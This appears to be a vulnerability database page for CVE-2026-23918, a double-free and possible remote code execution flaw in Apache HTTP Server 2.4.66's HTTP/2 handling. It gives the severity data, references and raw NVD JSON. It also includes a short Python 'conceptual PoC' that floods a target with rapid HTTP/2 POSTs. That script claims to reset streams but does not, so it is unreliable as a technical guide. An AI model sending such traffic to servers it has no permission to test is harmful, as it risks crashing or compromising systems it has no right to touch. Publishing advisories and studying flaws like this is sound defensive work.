CVE-2026-23918

Description

Double Free and possible RCE vulnerability in Apache HTTP Server with the HTTP/2 protocol. This issue affects Apache HTTP Server: 2.4.66. Users are recommended to upgrade to version 2.4.67, which fixes the issue.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:http_server:2.4.66:*:*:*:*:*:*:* - VULNERABLE

Apache HTTP Server 2.4.66

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import httpx

# Conceptual PoC for CVE-2026-23918
# Attempts to trigger Double Free in Apache HTTP Server 2.4.66 via HTTP/2

def trigger_vulnerability(target_url):
    try:
        with httpx.Client(http2=True) as client:
            # Sending a stream of requests designed to hit the race condition
            headers = {'User-Agent': 'CVE-2026-23918-Scanner'}
            for i in range(100):
                try:
                    # Rapid creation and reset of streams may trigger the double free
                    client.post(target_url, headers=headers, content=b"X" * 1024, timeout=0.1)
                except Exception:
                    pass
            print("Payload sent to target.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    trigger_vulnerability("http://target-host/")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23918/
[4] VulDB https://vuldb.com/cve/CVE-2026-23918
[5] https://httpd.apache.org/security/vulnerabilities_24.html
[6] http://www.openwall.com/lists/oss-security/2026/05/04/19

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23918", "sourceIdentifier": "[email protected]", "published": "2026-05-04T15:16:03.583", "lastModified": "2026-05-04T20:24:58.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Double Free and possible RCE vulnerability in Apache HTTP Server with the HTTP/2 protocol.\n\nThis issue affects Apache HTTP Server: 2.4.66.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:2.4.66:*:*:*:*:*:*:*", "matchCriteriaId": "3F48B216-98B0-4261-8E74-3BCC6F37CD8C"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/19", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}